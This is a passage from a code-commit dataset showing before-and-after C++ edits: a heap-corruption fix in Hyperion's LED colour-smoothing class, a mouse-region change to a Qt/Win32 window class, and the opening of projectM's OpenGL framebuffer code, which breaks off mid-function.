std::vector<ColorRgb>& ledValues)\n{\n\tint retval = 0;\n\tif (!_enabled)\n\t{\n\t\treturn -1;\n\t}\n\telse\n\t{\n\t\tretval = write(ledValues);\n\t}\n\treturn retval;\n}\n\nvoid LinearColorSmoothing::updateLeds()\n{\n\tint64_t now = QDateTime::currentMSecsSinceEpoch();\n\tint64_t deltaTime = _targetTime - now;\n\n\t\/\/Debug(_log, \"elapsed Time [%d], _targetTime [%d] - now [%d], deltaTime [%d]\", now -_previousTime, _targetTime, now, deltaTime);\n\tif (deltaTime < 0)\n\t{\n\t\tmemcpy(_previousValues.data(), _targetValues.data(), _targetValues.size() * sizeof(ColorRgb));\n\t\t_previousTime = now;\n\n\t\tqueueColors(_previousValues);\n\t\t_writeToLedsEnable = _continuousOutput;\n\t}\n\telse\n\t{\n\t\t_writeToLedsEnable = true;\n\n\t\t\/\/std::cout << \"LinearColorSmoothing::updateLeds> _previousValues: \"; LedDevice::printLedValues ( _previousValues );\n\n\t\tfloat k = 1.0f - 1.0f * deltaTime \/ (_targetTime - _previousTime);\n\n\t\tint reddif = 0, greendif = 0, bluedif = 0;\n\n\t\tfor (size_t i = 0; i < _previousValues.size(); ++i)\n\t\t{\n\t\t\tColorRgb & prev   = _previousValues[i];\n\t\t\tColorRgb & target = _targetValues[i];\n\n\t\t\treddif   = target.red   - prev.red;\n\t\t\tgreendif = target.green - prev.green;\n\t\t\tbluedif  = target.blue  - prev.blue;\n\n\t\t\tprev.red   += (reddif   < 0 ? -1:1) * std::ceil(k * std::abs(reddif));\n\t\t\tprev.green += (greendif < 0 ? -1:1) * std::ceil(k * std::abs(greendif));\n\t\t\tprev.blue  += (bluedif  < 0 ? -1:1) * std::ceil(k * std::abs(bluedif));\n\t\t}\n\t\t_previousTime = now;\n\n\t\t\/\/std::cout << \"LinearColorSmoothing::updateLeds> _targetValues: \"; LedDevice::printLedValues ( _targetValues );\n\n\t\tqueueColors(_previousValues);\n\t}\n}\n\nvoid LinearColorSmoothing::queueColors(const std::vector<ColorRgb> & ledColors)\n{\n\t\/\/Debug(_log, \"queueColors -  _outputDelay[%d] _outputQueue.size() [%d], _writeToLedsEnable[%d]\", _outputDelay, _outputQueue.size(), _writeToLedsEnable);\n\tif (_outputDelay == 0)\n\t{\n\t\t\/\/ No output delay => immediate write\n\t\tif ( _writeToLedsEnable && !_pause)\n\t\t{\n\/\/\t\t\tif ( ledColors.size() == 0 )\n\/\/\t\t\t\tqFatal (\"No LedValues! - in LinearColorSmoothing::queueColors() - _outputDelay == 0\");\n\/\/\t\t\telse\n\t\t\temit _hyperion->ledDeviceData(ledColors);\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ Push new colors in the delay-buffer\n\t\tif ( _writeToLedsEnable )\n\t\t\t_outputQueue.push_back(ledColors);\n\n\t\t\/\/ If the delay-buffer is filled pop the front and write to device\n\t\tif (_outputQueue.size() > 0 )\n\t\t{\n\t\t\tif ( _outputQueue.size() > _outputDelay || !_writeToLedsEnable )\n\t\t\t{\n\t\t\t\tif (!_pause)\n\t\t\t\t{\n\t\t\t\t\temit _hyperion->ledDeviceData(_outputQueue.front());\n\t\t\t\t}\n\t\t\t\t_outputQueue.pop_front();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid LinearColorSmoothing::clearQueuedColors()\n{\n\tQMetaObject::invokeMethod(_timer, \"stop\", Qt::QueuedConnection);\n\t_previousValues.clear();\n\n\t_targetValues.clear();\n}\n\nvoid LinearColorSmoothing::componentStateChange(const hyperion::Components component, const bool state)\n{\n\t_writeToLedsEnable = state;\n\tif(component == hyperion::COMP_LEDDEVICE)\n\t{\n\t\tclearQueuedColors();\n\t}\n\n\tif(component == hyperion::COMP_SMOOTHING)\n\t{\n\t\tsetEnable(state);\n\t}\n}\n\nvoid LinearColorSmoothing::setEnable(bool enable)\n{\n\t_enabled = enable;\n\tif (!_enabled)\n\t{\n\t\tclearQueuedColors();\n\t}\n\t\/\/ update comp register\n\t_hyperion->setNewComponentState(hyperion::COMP_SMOOTHING, enable);\n}\n\nvoid LinearColorSmoothing::setPause(bool pause)\n{\n\t_pause = pause;\n}\n\nunsigned LinearColorSmoothing::addConfig(int settlingTime_ms, double ledUpdateFrequency_hz, unsigned updateDelay)\n{\n\tSMOOTHING_CFG cfg = {false, settlingTime_ms, int64_t(1000.0\/ledUpdateFrequency_hz), updateDelay};\n\t_cfgList.append(cfg);\n\n\t\/\/Debug( _log, \"smoothing cfg %d: pause: %d bool, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _cfgList.count()-1, cfg.pause, cfg.settlingTime, cfg.updateInterval, unsigned(1000.0\/cfg.updateInterval), cfg.outputDelay );\n\treturn _cfgList.count() - 1;\n}\n\nunsigned LinearColorSmoothing::updateConfig(unsigned cfgID, int settlingTime_ms, double ledUpdateFrequency_hz, unsigned updateDelay)\n{\n\tunsigned updatedCfgID = cfgID;\n\tif ( cfgID < static_cast<unsigned>(_cfgList.count()) )\n\t{\n\t\tSMOOTHING_CFG cfg = {false, settlingTime_ms, int64_t(1000.0\/ledUpdateFrequency_hz), updateDelay};\n\t\t_cfgList[updatedCfgID] = cfg;\n\t}\n\telse\n\t{\n\t\tupdatedCfgID = addConfig ( settlingTime_ms, ledUpdateFrequency_hz, updateDelay);\n\t}\n\/\/\tDebug( _log, \"smoothing updatedCfgID %u: settlingTime: %d ms, \"\n\/\/\t\t\t\t \"interval: %d ms (%u Hz), updateDelay: %u frames\",  cfgID, _settlingTime, int64_t(1000.0\/ledUpdateFrequency_hz), unsigned(ledUpdateFrequency_hz), updateDelay );\n\treturn updatedCfgID;\n}\n\nbool LinearColorSmoothing::selectConfig(unsigned cfg, const bool& force)\n{\n\tif (_currentConfigId == cfg && !force)\n\t{\n\t\t\/\/Debug( _log, \"selectConfig SAME as before, not FORCED - _currentConfigId [%u], force [%d]\", cfg, force);\n\t\t\/\/Debug( _log, \"current smoothing cfg: %d, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _currentConfigId, _settlingTime, _updateInterval, unsigned(1000.0\/_updateInterval), _outputDelay );\n\t\treturn true;\n\t}\n\n\t\/\/Debug( _log, \"selectConfig FORCED - _currentConfigId [%u], force [%d]\", cfg, force);\n\tif ( cfg < (unsigned)_cfgList.count())\n\t{\n\t\t_settlingTime     = _cfgList[cfg].settlingTime;\n\t\t_outputDelay      = _cfgList[cfg].outputDelay;\n\t\t_pause            = _cfgList[cfg].pause;\n\n\t\tif (_cfgList[cfg].updateInterval != _updateInterval)\n\t\t{\n\n\t\t\tQMetaObject::invokeMethod(_timer, \"stop\", Qt::QueuedConnection);\n\t\t\t_updateInterval = _cfgList[cfg].updateInterval;\n\t\t\tif ( this->enabled() && this->_writeToLedsEnable )\n\t\t\t{\n\t\t\t\t\/\/Debug( _log, \"_cfgList[cfg].updateInterval != _updateInterval - Restart timer - _updateInterval [%d]\", _updateInterval);\n\t\t\t\tQMetaObject::invokeMethod(_timer, \"start\", Qt::QueuedConnection, Q_ARG(int, _updateInterval));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/Debug( _log, \"Smoothing disabled, do NOT restart timer\");\n\t\t\t}\n\t\t}\n\t\t_currentConfigId = cfg;\n\t\t\/\/ Debug( _log, \"current smoothing cfg: %d, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _currentConfigId, _settlingTime, _updateInterval, unsigned(1000.0\/_updateInterval), _outputDelay );\n\t\t\/\/\tDebugIf( enabled() && !_pause, _log, \"set smoothing cfg: %u settlingTime: %d ms, interval: %d ms,  updateDelay: %u frames\",  _currentConfigId, _settlingTime, _updateInterval,  _outputDelay );\n\t\t\/\/ DebugIf( _pause, _log, \"set smoothing cfg: %d, pause\",  _currentConfigId );\n\n\t\treturn true;\n\t}\n\n\t\/\/ reset to default\n\t_currentConfigId = 0;\n\treturn false;\n}\n<commit_msg>Fix heap corruption (#862)<commit_after>\/\/ Qt includes\n#include <QDateTime>\n#include <QTimer>\n\n#include \"LinearColorSmoothing.h\"\n#include <hyperion\/Hyperion.h>\n\n#include <cmath>\n\nusing namespace hyperion;\n\nconst int64_t  DEFAUL_SETTLINGTIME    = 200;\t\/\/ settlingtime in ms\nconst double   DEFAUL_UPDATEFREQUENCY = 25;\t\/\/ updatefrequncy in hz\nconst int64_t  DEFAUL_UPDATEINTERVALL = static_cast<int64_t>(1000 \/ DEFAUL_UPDATEFREQUENCY); \/\/ updateintervall in ms\nconst unsigned DEFAUL_OUTPUTDEPLAY    = 0;\t\/\/ outputdelay in ms\n\nLinearColorSmoothing::LinearColorSmoothing(const QJsonDocument& config, Hyperion* hyperion)\n\t: QObject(hyperion)\n\t, _log(Logger::getInstance(\"SMOOTHING\"))\n\t, _hyperion(hyperion)\n\t, _updateInterval(DEFAUL_UPDATEINTERVALL)\n\t, _settlingTime(DEFAUL_SETTLINGTIME)\n\t, _timer(new QTimer(this))\n\t, _outputDelay(DEFAUL_OUTPUTDEPLAY)\n\t, _writeToLedsEnable(false)\n\t, _continuousOutput(false)\n\t, _pause(false)\n\t, _currentConfigId(0)\n\t, _enabled(false)\n{\n\t\/\/ init cfg 0 (default)\n\taddConfig(DEFAUL_SETTLINGTIME, DEFAUL_UPDATEFREQUENCY, DEFAUL_OUTPUTDEPLAY);\n\thandleSettingsUpdate(settings::SMOOTHING, config);\n\tselectConfig(0, true);\n\n\t\/\/ add pause on cfg 1\n\tSMOOTHING_CFG cfg = {true, 0, 0, 0};\n\t_cfgList.append(cfg);\n\n\t\/\/ listen for comp changes\n\tconnect(_hyperion, &Hyperion::compStateChangeRequest, this, &LinearColorSmoothing::componentStateChange);\n\t\/\/ timer\n\tconnect(_timer, &QTimer::timeout, this, &LinearColorSmoothing::updateLeds);\n}\n\nvoid LinearColorSmoothing::handleSettingsUpdate(const settings::type& type, const QJsonDocument& config)\n{\n\tif(type == settings::SMOOTHING)\n\t{\n\t\t\/\/\tstd::cout << \"LinearColorSmoothing::handleSettingsUpdate\" << std::endl;\n\t\t\/\/\tstd::cout << config.toJson().toStdString() << std::endl;\n\n\t\tQJsonObject obj = config.object();\n\t\tif(enabled() != obj[\"enable\"].toBool(true))\n\t\t\tsetEnable(obj[\"enable\"].toBool(true));\n\n\t\t_continuousOutput = obj[\"continuousOutput\"].toBool(true);\n\n\t\tSMOOTHING_CFG cfg = {false,\n\t\t\t\t\t\t\t static_cast<int64_t>(obj[\"time_ms\"].toInt(DEFAUL_SETTLINGTIME)),\n\t\t\t\t\t\t\t static_cast<int64_t>(1000.0\/obj[\"updateFrequency\"].toDouble(DEFAUL_UPDATEFREQUENCY)),\n\t\t\t\t\t\t\t static_cast<unsigned>(obj[\"updateDelay\"].toInt(DEFAUL_OUTPUTDEPLAY))\n\t\t\t\t\t\t\t};\n\t\t\/\/Debug( _log, \"smoothing cfg_id %d: pause: %d bool, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _currentConfigId, cfg.pause, cfg.settlingTime, cfg.updateInterval, unsigned(1000.0\/cfg.updateInterval), cfg.outputDelay );\n\t\t_cfgList[0] = cfg;\n\n\t\t\/\/ if current id is 0, we need to apply the settings (forced)\n\t\tif( _currentConfigId == 0)\n\t\t{\n\t\t\t\/\/Debug( _log, \"_currentConfigId == 0\");\n\t\t\tselectConfig(0, true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/Debug( _log, \"_currentConfigId != 0\");\n\t\t}\n\t}\n}\n\nint LinearColorSmoothing::write(const std::vector<ColorRgb> &ledValues)\n{\n\t_targetTime = QDateTime::currentMSecsSinceEpoch() + _settlingTime;\n\t_targetValues = ledValues;\n\n\t\/\/ received a new target color\n\tif (_previousValues.empty())\n\t{\n\t\t\/\/ not initialized yet\n\t\t_previousTime = QDateTime::currentMSecsSinceEpoch();\n\t\t_previousValues = ledValues;\n\n\t\t\/\/Debug( _log, \"Start Smoothing timer: settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\", _settlingTime, _updateInterval, unsigned(1000.0\/_updateInterval), _outputDelay );\n\t\tQMetaObject::invokeMethod(_timer, \"start\", Qt::QueuedConnection, Q_ARG(int, _updateInterval));\n\t}\n\n\treturn 0;\n}\n\nint LinearColorSmoothing::updateLedValues(const std::vector<ColorRgb>& ledValues)\n{\n\tint retval = 0;\n\tif (!_enabled)\n\t{\n\t\treturn -1;\n\t}\n\telse\n\t{\n\t\tretval = write(ledValues);\n\t}\n\treturn retval;\n}\n\nvoid LinearColorSmoothing::updateLeds()\n{\n\tint64_t now = QDateTime::currentMSecsSinceEpoch();\n\tint64_t deltaTime = _targetTime - now;\n\n\t\/\/Debug(_log, \"elapsed Time [%d], _targetTime [%d] - now [%d], deltaTime [%d]\", now -_previousTime, _targetTime, now, deltaTime);\n\tif (deltaTime < 0)\n\t{\n\t\t_previousValues = _targetValues;\n\t\t_previousTime = now;\n\n\t\tqueueColors(_previousValues);\n\t\t_writeToLedsEnable = _continuousOutput;\n\t}\n\telse\n\t{\n\t\t_writeToLedsEnable = true;\n\n\t\t\/\/std::cout << \"LinearColorSmoothing::updateLeds> _previousValues: \"; LedDevice::printLedValues ( _previousValues );\n\n\t\tfloat k = 1.0f - 1.0f * deltaTime \/ (_targetTime - _previousTime);\n\n\t\tint reddif = 0, greendif = 0, bluedif = 0;\n\n\t\tfor (size_t i = 0; i < _previousValues.size(); ++i)\n\t\t{\n\t\t\tColorRgb & prev   = _previousValues[i];\n\t\t\tColorRgb & target = _targetValues[i];\n\n\t\t\treddif   = target.red   - prev.red;\n\t\t\tgreendif = target.green - prev.green;\n\t\t\tbluedif  = target.blue  - prev.blue;\n\n\t\t\tprev.red   += (reddif   < 0 ? -1:1) * std::ceil(k * std::abs(reddif));\n\t\t\tprev.green += (greendif < 0 ? -1:1) * std::ceil(k * std::abs(greendif));\n\t\t\tprev.blue  += (bluedif  < 0 ? -1:1) * std::ceil(k * std::abs(bluedif));\n\t\t}\n\t\t_previousTime = now;\n\n\t\t\/\/std::cout << \"LinearColorSmoothing::updateLeds> _targetValues: \"; LedDevice::printLedValues ( _targetValues );\n\n\t\tqueueColors(_previousValues);\n\t}\n}\n\nvoid LinearColorSmoothing::queueColors(const std::vector<ColorRgb> & ledColors)\n{\n\t\/\/Debug(_log, \"queueColors -  _outputDelay[%d] _outputQueue.size() [%d], _writeToLedsEnable[%d]\", _outputDelay, _outputQueue.size(), _writeToLedsEnable);\n\tif (_outputDelay == 0)\n\t{\n\t\t\/\/ No output delay => immediate write\n\t\tif ( _writeToLedsEnable && !_pause)\n\t\t{\n\/\/\t\t\tif ( ledColors.size() == 0 )\n\/\/\t\t\t\tqFatal (\"No LedValues! - in LinearColorSmoothing::queueColors() - _outputDelay == 0\");\n\/\/\t\t\telse\n\t\t\temit _hyperion->ledDeviceData(ledColors);\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ Push new colors in the delay-buffer\n\t\tif ( _writeToLedsEnable )\n\t\t\t_outputQueue.push_back(ledColors);\n\n\t\t\/\/ If the delay-buffer is filled pop the front and write to device\n\t\tif (_outputQueue.size() > 0 )\n\t\t{\n\t\t\tif ( _outputQueue.size() > _outputDelay || !_writeToLedsEnable )\n\t\t\t{\n\t\t\t\tif (!_pause)\n\t\t\t\t{\n\t\t\t\t\temit _hyperion->ledDeviceData(_outputQueue.front());\n\t\t\t\t}\n\t\t\t\t_outputQueue.pop_front();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid LinearColorSmoothing::clearQueuedColors()\n{\n\tQMetaObject::invokeMethod(_timer, \"stop\", Qt::QueuedConnection);\n\t_previousValues.clear();\n\n\t_targetValues.clear();\n}\n\nvoid LinearColorSmoothing::componentStateChange(const hyperion::Components component, const bool state)\n{\n\t_writeToLedsEnable = state;\n\tif(component == hyperion::COMP_LEDDEVICE)\n\t{\n\t\tclearQueuedColors();\n\t}\n\n\tif(component == hyperion::COMP_SMOOTHING)\n\t{\n\t\tsetEnable(state);\n\t}\n}\n\nvoid LinearColorSmoothing::setEnable(bool enable)\n{\n\t_enabled = enable;\n\tif (!_enabled)\n\t{\n\t\tclearQueuedColors();\n\t}\n\t\/\/ update comp register\n\t_hyperion->setNewComponentState(hyperion::COMP_SMOOTHING, enable);\n}\n\nvoid LinearColorSmoothing::setPause(bool pause)\n{\n\t_pause = pause;\n}\n\nunsigned LinearColorSmoothing::addConfig(int settlingTime_ms, double ledUpdateFrequency_hz, unsigned updateDelay)\n{\n\tSMOOTHING_CFG cfg = {false, settlingTime_ms, int64_t(1000.0\/ledUpdateFrequency_hz), updateDelay};\n\t_cfgList.append(cfg);\n\n\t\/\/Debug( _log, \"smoothing cfg %d: pause: %d bool, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _cfgList.count()-1, cfg.pause, cfg.settlingTime, cfg.updateInterval, unsigned(1000.0\/cfg.updateInterval), cfg.outputDelay );\n\treturn _cfgList.count() - 1;\n}\n\nunsigned LinearColorSmoothing::updateConfig(unsigned cfgID, int settlingTime_ms, double ledUpdateFrequency_hz, unsigned updateDelay)\n{\n\tunsigned updatedCfgID = cfgID;\n\tif ( cfgID < static_cast<unsigned>(_cfgList.count()) )\n\t{\n\t\tSMOOTHING_CFG cfg = {false, settlingTime_ms, int64_t(1000.0\/ledUpdateFrequency_hz), updateDelay};\n\t\t_cfgList[updatedCfgID] = cfg;\n\t}\n\telse\n\t{\n\t\tupdatedCfgID = addConfig ( settlingTime_ms, ledUpdateFrequency_hz, updateDelay);\n\t}\n\/\/\tDebug( _log, \"smoothing updatedCfgID %u: settlingTime: %d ms, \"\n\/\/\t\t\t\t \"interval: %d ms (%u Hz), updateDelay: %u frames\",  cfgID, _settlingTime, int64_t(1000.0\/ledUpdateFrequency_hz), unsigned(ledUpdateFrequency_hz), updateDelay );\n\treturn updatedCfgID;\n}\n\nbool LinearColorSmoothing::selectConfig(unsigned cfg, const bool& force)\n{\n\tif (_currentConfigId == cfg && !force)\n\t{\n\t\t\/\/Debug( _log, \"selectConfig SAME as before, not FORCED - _currentConfigId [%u], force [%d]\", cfg, force);\n\t\t\/\/Debug( _log, \"current smoothing cfg: %d, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _currentConfigId, _settlingTime, _updateInterval, unsigned(1000.0\/_updateInterval), _outputDelay );\n\t\treturn true;\n\t}\n\n\t\/\/Debug( _log, \"selectConfig FORCED - _currentConfigId [%u], force [%d]\", cfg, force);\n\tif ( cfg < (unsigned)_cfgList.count())\n\t{\n\t\t_settlingTime     = _cfgList[cfg].settlingTime;\n\t\t_outputDelay      = _cfgList[cfg].outputDelay;\n\t\t_pause            = _cfgList[cfg].pause;\n\n\t\tif (_cfgList[cfg].updateInterval != _updateInterval)\n\t\t{\n\n\t\t\tQMetaObject::invokeMethod(_timer, \"stop\", Qt::QueuedConnection);\n\t\t\t_updateInterval = _cfgList[cfg].updateInterval;\n\t\t\tif ( this->enabled() && this->_writeToLedsEnable )\n\t\t\t{\n\t\t\t\t\/\/Debug( _log, \"_cfgList[cfg].updateInterval != _updateInterval - Restart timer - _updateInterval [%d]\", _updateInterval);\n\t\t\t\tQMetaObject::invokeMethod(_timer, \"start\", Qt::QueuedConnection, Q_ARG(int, _updateInterval));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/Debug( _log, \"Smoothing disabled, do NOT restart timer\");\n\t\t\t}\n\t\t}\n\t\t_currentConfigId = cfg;\n\t\t\/\/ Debug( _log, \"current smoothing cfg: %d, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _currentConfigId, _settlingTime, _updateInterval, unsigned(1000.0\/_updateInterval), _outputDelay );\n\t\t\/\/\tDebugIf( enabled() && !_pause, _log, \"set smoothing cfg: %u settlingTime: %d ms, interval: %d ms,  updateDelay: %u frames\",  _currentConfigId, _settlingTime, _updateInterval,  _outputDelay );\n\t\t\/\/ DebugIf( _pause, _log, \"set smoothing cfg: %d, pause\",  _currentConfigId );\n\n\t\treturn true;\n\t}\n\n\t\/\/ reset to default\n\t_currentConfigId = 0;\n\treturn false;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"WinWindow.h\"\n#include \"Library.h\"\n\n#include <QGridLayout>\n#include <QMouseEvent>\n\n#include <windows.h>\n#include <windowsx.h>\n\nWinWindow::WinWindow(HWND hWnd) : QWinWidget(hWnd)\n{\n    windowHandle = hWnd;\n\n    setObjectName(\"winPanel\");\n\n    mainPanel = new WinPanel(this);\n\n    QGridLayout* layout = new QGridLayout();\n    layout->setMargin(0);\n    setLayout(layout);\n    layout->addWidget(mainPanel);\n\n    mainPanel->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding);\n\n    this->adjustSize();\n    this->show();\n}\n\n#if QT_VERSION >= 0x050000\nbool WinWindow::nativeEvent(const QByteArray&, void* msg, long*)\n{\n#else\nbool WinPanel::winEvent(MSG* message, long*)\n{\n#endif\n#if QT_VERSION >= 0x050000\n    MSG* message = (MSG*) msg;\n#endif\n    switch(message->message)\n    {\n    case WM_SYSKEYDOWN:\n    {\n        if (message->wParam == VK_SPACE)\n        {\n            RECT winrect;\n            GetWindowRect(windowHandle, &winrect);\n            TrackPopupMenu(GetSystemMenu(windowHandle, false), TPM_TOPALIGN | TPM_LEFTALIGN, winrect.left + 5, winrect.top + 5, 0, windowHandle, NULL);\n            break;\n        }\n    }\n    case WM_KEYDOWN:\n    {\n        if (message->wParam == VK_F5 ||\n                message->wParam == VK_F6 ||\n                message->wParam == VK_F7)\n        {\n            SendMessage(windowHandle, WM_KEYDOWN, message->wParam, message->lParam);\n            break;\n        }\n    }\n    }\n\n    return false;\n}\n\nvoid WinWindow::mousePressEvent(QMouseEvent* event)\n{\n    if (event->button() == Qt::LeftButton)\n    {\n        ReleaseCapture();\n        SendMessage(windowHandle, WM_NCLBUTTONDOWN, HTCAPTION, 0);\n    }\n\n    if (event->type() == QEvent::MouseButtonDblClick)\n    {\n        if (event->button() == Qt::LeftButton)\n        {\n            WINDOWPLACEMENT wp;\n            wp.length = sizeof(WINDOWPLACEMENT);\n            GetWindowPlacement(parentWindow(), &wp);\n            if (wp.showCmd == SW_MAXIMIZE)\n            {\n                ShowWindow(parentWindow(), SW_RESTORE);\n            }\n            else\n            {\n                ShowWindow(parentWindow(), SW_MAXIMIZE);\n            }\n        }\n    }\n}\n\nvoid WinWindow::minimize()\n{\n    ShowWindow(parentWindow(), SW_MINIMIZE);\n}\n\nvoid WinWindow::maximize()\n{\n    WINDOWPLACEMENT wp;\n    wp.length = sizeof(WINDOWPLACEMENT);\n    GetWindowPlacement(parentWindow(), &wp);\n    if (wp.showCmd == SW_MAXIMIZE)\n    {\n        ShowWindow(parentWindow(), SW_RESTORE);\n    }\n    else\n    {\n        ShowWindow(parentWindow(), SW_MAXIMIZE);\n    }\n}\n\nvoid WinWindow::closeWindow()\n{\n    PostQuitMessage(0);\n}\n<commit_msg>Adjust mouse event region on Windows<commit_after>#include \"WinWindow.h\"\n#include \"Library.h\"\n\n#include <QGridLayout>\n#include <QMouseEvent>\n\n#include <windows.h>\n#include <windowsx.h>\n\nWinWindow::WinWindow(HWND hWnd) : QWinWidget(hWnd)\n{\n    windowHandle = hWnd;\n\n    setObjectName(\"winPanel\");\n\n    mainPanel = new WinPanel(this);\n\n    QGridLayout* layout = new QGridLayout();\n    layout->setMargin(0);\n    setLayout(layout);\n    layout->addWidget(mainPanel);\n\n    mainPanel->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding);\n\n    this->adjustSize();\n    this->show();\n}\n\n#if QT_VERSION >= 0x050000\nbool WinWindow::nativeEvent(const QByteArray&, void* msg, long*)\n{\n#else\nbool WinPanel::winEvent(MSG* message, long*)\n{\n#endif\n#if QT_VERSION >= 0x050000\n    MSG* message = (MSG*) msg;\n#endif\n    switch(message->message)\n    {\n    case WM_SYSKEYDOWN:\n    {\n        if (message->wParam == VK_SPACE)\n        {\n            RECT winrect;\n            GetWindowRect(windowHandle, &winrect);\n            TrackPopupMenu(GetSystemMenu(windowHandle, false), TPM_TOPALIGN | TPM_LEFTALIGN, winrect.left + 5, winrect.top + 5, 0, windowHandle, NULL);\n            break;\n        }\n    }\n    case WM_KEYDOWN:\n    {\n        if (message->wParam == VK_F5 ||\n                message->wParam == VK_F6 ||\n                message->wParam == VK_F7)\n        {\n            SendMessage(windowHandle, WM_KEYDOWN, message->wParam, message->lParam);\n            break;\n        }\n    }\n    }\n\n    return false;\n}\n\nvoid WinWindow::mousePressEvent(QMouseEvent* event)\n{\n    if (event->pos().y() < 32)\n    {\n        if (event->button() == Qt::LeftButton)\n        {\n            ReleaseCapture();\n            SendMessage(windowHandle, WM_NCLBUTTONDOWN, HTCAPTION, 0);\n        }\n\n        if (event->type() == QEvent::MouseButtonDblClick)\n        {\n            if (event->button() == Qt::LeftButton)\n            {\n                WINDOWPLACEMENT wp;\n                wp.length = sizeof(WINDOWPLACEMENT);\n                GetWindowPlacement(parentWindow(), &wp);\n                if (wp.showCmd == SW_MAXIMIZE)\n                {\n                    ShowWindow(parentWindow(), SW_RESTORE);\n                }\n                else\n                {\n                    ShowWindow(parentWindow(), SW_MAXIMIZE);\n                }\n            }\n        }\n    }\n}\n\nvoid WinWindow::minimize()\n{\n    ShowWindow(parentWindow(), SW_MINIMIZE);\n}\n\nvoid WinWindow::maximize()\n{\n    WINDOWPLACEMENT wp;\n    wp.length = sizeof(WINDOWPLACEMENT);\n    GetWindowPlacement(parentWindow(), &wp);\n    if (wp.showCmd == SW_MAXIMIZE)\n    {\n        ShowWindow(parentWindow(), SW_RESTORE);\n    }\n    else\n    {\n        ShowWindow(parentWindow(), SW_MAXIMIZE);\n    }\n}\n\nvoid WinWindow::closeWindow()\n{\n    PostQuitMessage(0);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * projectM -- Milkdrop-esque visualisation SDK\n * Copyright (C)2003-2004 projectM Team\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n * See 'LICENSE.txt' included within this release\n *\n *\/\n\/**\n * $Id: FBO.c,v 1.1.1.1 2005\/12\/23 18:05:00 psperl Exp $\n *\n * Render this methods\n *\/\n\n#include <stdio.h>\n\/\/#include <GL\/gl.h>\n#include <iostream>\n#include \"Common.hpp\"\n#include \"FBO.hpp\"\n\n\n\nRenderTarget::~RenderTarget() {\n\n\n\tglDeleteTextures( 1, &this->textureID[0]);\n\n#ifdef USE_FBO\n\tif (useFBO) \n         {\n\t\tglDeleteTextures( 1, &this->textureID[1] );\n\t\tglDeleteRenderbuffersEXT(1,  &this->depthb[0]);\n\t\tglDeleteFramebuffersEXT(1, &this->fbuffer[0]);\n\t\tif(renderToTexture)\n\t\t  {\n\t\t    glDeleteTextures( 1, &this->textureID[2] );\n\t\t    glDeleteRenderbuffersEXT(1,  &this->depthb[1]);\n\t\t    glDeleteFramebuffersEXT(1, &this->fbuffer[1]);\n\t\t  }\n         }\n#endif\n\n}\n\nGLuint RenderTarget::initRenderToTexture()\n{\n#ifdef USE_FBO\n\n  if (this->useFBO==1)\n    {\n      this->renderToTexture=1;\n      \n      GLuint   fb2, depth_rb2;\n      glGenFramebuffersEXT(1, &fb2);\n      glBindFramebufferEXT( GL_FRAMEBUFFER_EXT, fb2 );\n      glGenRenderbuffersEXT(1, &depth_rb2);\n      glBindRenderbufferEXT( GL_RENDERBUFFER_EXT, depth_rb2 );\n      \n      glRenderbufferStorageEXT( GL_RENDERBUFFER_EXT, GL_DEPTH_COMPONENT, this->texsize,this->texsize  );\n      glFramebufferRenderbufferEXT( GL_FRAMEBUFFER_EXT, GL_DEPTH_ATTACHMENT_EXT, GL_RENDERBUFFER_EXT, depth_rb2 );         \n      this->fbuffer[1] = fb2;\n      this->depthb[1]=  depth_rb2;\n      glGenTextures(1, &this->textureID[2]);\n      glBindTexture(GL_TEXTURE_2D, this->textureID[2]); \n      glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n      glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, texsize, texsize, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL );\n      glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n      glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n      glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n      glFramebufferTexture2DEXT( GL_FRAMEBUFFER_EXT, GL_COLOR_ATTACHMENT0_EXT, GL_TEXTURE_2D, this->textureID[2], 0 );\n      return this->textureID[2];\n    }\n#endif \nreturn -1;\n      \n}\n\n\/** Creates new pbuffers *\/\nRenderTarget::RenderTarget(int texsize, int width, int height) : useFBO(false) {\n\n   int mindim = 0;\n   int origtexsize = 0;\n\n   this->renderToTexture = 0;\n   this->texsize = texsize;\n\n#ifdef USE_FBO\n   glewInit();\n      \/\/ Forceably disable FBO if user requested it but the video card \/ driver lacks\n      \/\/ the appropraite frame buffer extension.\n      if (useFBO = glewIsSupported(\"GL_EXT_framebuffer_object\"))\n\t{\t \n\n\t  GLuint   